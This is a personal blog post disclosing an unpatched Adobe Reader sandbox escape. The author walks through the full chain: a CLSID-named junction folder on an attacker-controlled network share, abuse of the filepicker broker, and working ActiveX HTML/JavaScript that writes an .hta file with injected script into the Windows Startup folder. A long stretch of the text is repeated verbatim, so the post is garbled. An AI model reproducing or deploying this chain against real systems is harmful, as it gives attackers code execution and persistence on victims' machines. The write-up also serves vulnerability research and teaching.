edit: this would have worked with literally any sandbox in windows having filepicker functionality through a broker, not just adobe.
Edit2: that special junction didnt need to be placed on a network share, but also worked locally.
Because I am feeling depressed as fuck, I decided to do another write-up about an un-patched bug (feeling sorry for myself and being sad gets boring after a while).
I really did not get anything for this bug, and I know I'm probably forfeiting an acknowledgement too right now. But I wasted alot of time on this bug, and nobody but me should be able to decide what to do with it. People who criticize this type of behavior I find frankly annoying. I used to be one of those self-righteous types, but I'm also pretty annoying, so perhaps there is a correlation.
Adobe Reader
After finding this lame bug (CVE-2018-4872 ): https://sandboxescaper.blogspot.com/2018/01/adobe-reader-escape-or-how-to-steal.html I started thinking about other ways I could escape the sandbox.
To be honest, the Adobe Reader sandbox is pretty tough. Microsoft's sandboxes are way easier, because you get access to a ton of COM, RPC stuff and things like that.
Things I could do on the filesystem were really limited, and I like my filesystem trickery.
Ofcourse, being out of inspiration, and because I'm dumb as hell and can't come up with anything creative myself I went looking at Forshaw's work.
I saw that he did some work using network shares.
Instead of feeding a local filepath into a broker function (broker functions run outside the sandbox) we can use a filepath on an anonymous network share. This basically gives us an adhoc filesystem where we can use junctions and all the fun stuff that we by default do not have access to in the reader sandbox. My thought process was that I could probably use some symlinks or junctions to trick a broker function and bypass a check somewhere.
I tried a bunch of things, and while I got alot of interesting results, I did not get my lucky break.
Again, because I'm stupid, I decided to steal a trick from vault7 (https://wikileaks.org/ciav7p1/cms/page_13763489.html).
If you create a folder with the name: f.{0AFACED1-E828-11D1-9187-B532F1E9575D}
and then put a .lnk file in it, it basically becomes a really funny junction that confuses the hell out of code.
The bug
I'm going to explain the full attack chain.
First we create a folder called f.{0AFACED1-E828-11D1-9187-B532F1E9575D} and we put it on an anonymous network share (this can totally be a network share on the internet that is attacker controlled, not just intranet). Inside the folder we put a .lnk file with the following target:
C:\Users\%username%\AppData\Roaming\Adobe\Acrobat\DC\a.htm (use %username% and not the actual username).
Because I am feeling depressed as fuck, I decided to do another write-up about an un-patched bug (feeling sorry for myself and being sad gets boring after a while).
I really did not get anything for this bug, and I know I'm probably forfeiting an acknowledgement too right now. But I wasted alot of time on this bug, and nobody but me should be able to decide what to do with it. People who criticize this type of behavior I find frankly annoying. I used to be one of those self-righteous types, but I'm also pretty annoying, so perhaps there is a correlation.
Adobe Reader
After finding this lame bug (CVE-2018-4872 ): https://sandboxescaper.blogspot.com/2018/01/adobe-reader-escape-or-how-to-steal.html I started thinking about other ways I could escape the sandbox.
To be honest, the Adobe Reader sandbox is pretty tough. Microsoft's sandboxes are way easier, because you get access to a ton of COM, RPC stuff and things like that.
Things I could do on the filesystem were really limited, and I like my filesystem trickery.
Ofcourse, being out of inspiration, and because I'm dumb as hell and can't come up with anything creative myself I went looking at Forshaw's work.
I saw that he did some work using network shares.
Instead of feeding a local filepath into a broker function (broker functions run outside the sandbox) we can use a filepath on an anonymous network share. This basically gives us an adhoc filesystem where we can use junctions and all the fun stuff that we by default do not have access to in the reader sandbox. My thought process was that I could probably use some symlinks or junctions to trick a broker function and bypass a check somewhere.
I tried a bunch of things, and while I got alot of interesting results, I did not get my lucky break.
Again, because I'm stupid, I decided to steal a trick from vault7 (https://wikileaks.org/ciav7p1/cms/page_13763489.html).
If you create a folder with the name: f.{0AFACED1-E828-11D1-9187-B532F1E9575D}
and then put a .lnk file in it, it basically becomes a really funny junction that confuses the hell out of code.
The bug
I'm going to explain the full attack chain.
First we create a folder called f.{0AFACED1-E828-11D1-9187-B532F1E9575D} and we put it on an anonymous network share (this can totally be a network share on the internet that is attacker controlled, not just intranet). Inside the folder we put a .lnk file with the following target:
C:\Users\%username%\AppData\Roaming\Adobe\Acrobat\DC\a.htm (use %username% and not the actual username).
It will look like this on our remote network share:
Now from within the Adobe Reader sandbox we call the broker functionality to open a filepicker window and set the folder on our remote share as root (i.e \\192.168.1.2\s\b\f.{0AFACED1-E828-11D1-9187-B532F1E9575D} )
This will redirect the filepicker window to a local .htm page on the victim's pc which we dropped in a sandbox write-able location , and for some reason it will render it. It will render it at medium and we even can get some activex objects working without prompts (which should not happen because we are rendering in the local machine zone, which should be locked down! But we are rendering html in a filepicker window.. so I guess I should not be surprised).
This will work with any filepicker window, since they are managed by windows code, here is a filepicker window opened in chrome using this trick:
Now we can run activex in a filepicker window, but how do we exploit it?
You can complete this attack chain in multiple ways.
Since the code rendering the html page is basically a castrated version of IE11, we can just complete the chain with an IE bug and gain medium RCE.
But because memory corruption bugs make me sleepy I wanted a logic bug!
We can use the system monitor activex object to write an .hta file to startup!
Here is the full chain exploiting this bug in Adobe Reader (I made sure to hide the filepicker window, because I was still innocent back then and thought it could be useful for attackers when I made it.. but hey, this proves that even if your poc spawns windows and stuff, its not hard to hide them because code runs fast as hell, the only issue this might have had was latency.. but you could have tested for that prior to running the escape.. but still, its way to complicated.. there is better ways to escape sandboxes, even with logic bugs):
Here is the activex object code:
<html>
<OBJECT ID="target" WIDTH="1" HEIGHT="1"
CLASSID="CLSID:C4D2D8E0-D1DD-11CE-940F-008029004347">
</OBJECT>
<script>
target.DataSourceType =2;
logfiles = target.LogFiles;
logfiles.Add("\\\\192.168.1.25\\s\\ew.csv");
Counters = target.Counters;
Counters.Add('\\\\<IMG SRC=\'javascript:WshShell=new ActiveXObject("WScript.Shell");WshShell.Run("notepad.exe");\'>\\LogicalDisk(*)\\*');
target.Relog("C:\\Users\\test\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ByeSandbox.hta",5,1);
</script>
</html>
So we have a logfile (ew.csv) on our remote network share.
You can generate a log file like this, I forgot how, but I'm sure you can figure it out... but it needs to be in a specific format to be able to be used by the system monitor activex object.
Eitherway, in the csv file we replace all references to our computer name with javascript.
In this line:
Counters.Add('\\\\<IMG SRC=\'javascript:WshShell=new ActiveXObject("WScript.Shell");WshShell.Run("notepad.exe");\'>\\LogicalDisk(*)\\*');
Normally where you would have the computer name, we now also have javascript (this has to be the same as in the csv file).
When we do target.Relog we can write a file with working javascript to any folder outside the sandbox, including start-up. This will result in an .hta file with working javascript code inside (since we have partial control over the contents of the file write).
Meaning its game over and I now have access to your p*rn collection. 😱
Conclusion
I have learned alot from this bug. This bug was not useful for attackers because of its complexity. I should have known when I started entertaining the idea of remote network shares, that it would add to much complexity and stopped right there. The take away: When bughunting, you need to know when to limit your scope.
On the other hand, don't let it stop you from doing crazy stuff.
Everyone is just fuzzing or looking at memcpy functions, and while alot of that stuff is really impressive, I doubt it compares to the fun I had constructing this chain ;).
I do think filepickers are an interesting attack surface, because nearly all sandboxes have broker functionality to open them. If its not done through a broker you wouldn't be able to save files outside the sandbox. Its just not something people really think about when considering a sandbox attack surface.
While I did not get anything from this bug, and I doubt people even give a damn, I hope there is some poor soul out there that might get inspired to get into logic bugs.
I'm not really good at this stuff, but perhaps someone else might actually be useful to this industry and do meaningful stuff.
When the days of memory corruption bugs are counted, logic bugs will rule.
